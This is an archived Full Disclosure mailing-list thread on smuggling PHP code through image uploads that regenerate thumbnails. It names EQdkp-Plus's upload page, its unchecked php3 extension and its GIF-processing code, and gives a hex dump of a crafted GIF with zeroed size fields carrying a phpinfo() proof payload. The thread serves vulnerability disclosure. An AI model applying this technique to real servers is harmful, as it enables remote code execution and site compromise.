Full Disclosure mailing list archives
Re: Php gif upload thumbnail creation remote exploit
From: "HI-TECH ." <isowarez.isowarez.isowarez () googlemail com>
Date: Sun, 19 Jun 2011 13:35:33 +0200
A good and working example for this technique is the "EQdkp-Plus" PHP Software, the URL http://<hostname>/dkp/plugins/mediacenter/upload.php allows to upload image files. There are two checks made by the software: * Extensions check, where they forget to check for the php3 extension, which might be parsed by the webserver as php code. * Check if the upload is actually an image. When the user uploads the image it´s thumbnail appears under http://<host>/dkp/data/e6c2ee4aac968c19f61eeaab09401374/mediacenter/thumbs_b/229684607dfcae84b89ae669c9056268.php3 this link can be found by searching for the entry which was uploaded using the search tool. Normally the embedded php code will not appear in the php3 file because of thumbnail creation which modifies the GIF file. The GIF processing code in EQdkp-Plus is the following: $size = GetImageSize($image); if($size[2] != 0){ //CREATE THUMBNAILS $thumb_path = $pcache->FolderPath($dest_folder, 'mediacenter'); $pic_width = $size[0]; $pic_height = $size[1]; if ($pic_width >= $pic_height){ $thumb_width = $width; $thumb_height = intval($pic_height*$thumb_width/$pic_width); } else { $thumb_height = $height; $thumb_width = intval($pic_width*$thumb_height/$pic_height); } // GIF if ($size[2] == 1){ $picture = ImageCreateFromGIF($image); $thumbnail = ImageCreateTrueColor($thumb_width, $thumb_height); $white = imageColorAllocate ($thumbnail, 0, 0, 0); $trans = imagecolortransparent($thumbnail,$white); ImageCopyResampled($thumbnail, $picture, 0, 0, 0, 0, $thumb_width, $thumb_height, $pic_width, $pic_height); ImageGIF($thumbnail, $thumb_path.$pic_name); //chmod($thumb_path.$pic_name,0644); } ... As you can see this is a standart procedure to create a thumbnail out of the image. 0000h: 47 49 46 38 39 61 << 00 00 00 00 00 00 00 >> 00 00 00 GIF89a.......... 0010h: 00 00 33 00 00 66 00 00 99 00 00 CC 00 00 FF 00 ..3..f..™..Ì..ÿ. ... ... ... 0980h: 56 40 00 00 3B 3C 3F 20 70 68 70 69 6E 66 6F 28 V@..;<? phpinfo( 0990h: 29 3B 20 3F 3E ); ?> The bytes enclosed by "<<" and ">>" are zeroed out with a hex editor so that after the processing of the GIF file the php code (which is embedded at the very bottom of the GIF file) stays inside the file. -kc 2011/6/19 Владимир Воронцов <vladimir.vorontsov () onsec ru>:
http://ax330d.blogspot.com/2011/06/mosaic-of-attacks-from-image-upload.html?showComment=1308462489303#c952957474393688505 On Sun, 19 Jun 2011 02:58:16 +0200, "HI-TECH ." <isowarez.isowarez.isowarez () googlemail com> wrote:This technique describes how to exploit apps which encode picturesduring aPhp upload. Embedding Php code inside gif files which are uploaded is a known technique to execute arbitrary code on a Apache Php installation.Nowwhat can one do when the code which uploads the file processes andencodesthe file to a thumbnail and only this thumbnail is accessible remotelywiththe correct extension? The gif file is crunshed and the embedded Phpcodedisappears, bad situation you might think. The solution is to zero outallsize fields of the gif file using a hex editor. The result after theuploadis that the encoding routine processes the file without modifying it because of size checks. The Php code stays embedded in the file. -kc-- Best regards, Vladimir Vorontsov ONsec security expert
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Php gif upload thumbnail creation remote exploit HI-TECH . (Jun 18)
- Re: Php gif upload thumbnail creation remote exploit Владимир Воронцов (Jun 19)
- Re: Php gif upload thumbnail creation remote exploit HI-TECH . (Jun 19)
- Re: Php gif upload thumbnail creation remote exploit Moritz Naumann (Jun 19)
- Re: Php gif upload thumbnail creation remote exploit HI-TECH . (Jun 20)
- Re: Php gif upload thumbnail creation remote exploit HI-TECH . (Jun 19)
- Re: Php gif upload thumbnail creation remote exploit Владимир Воронцов (Jun 19)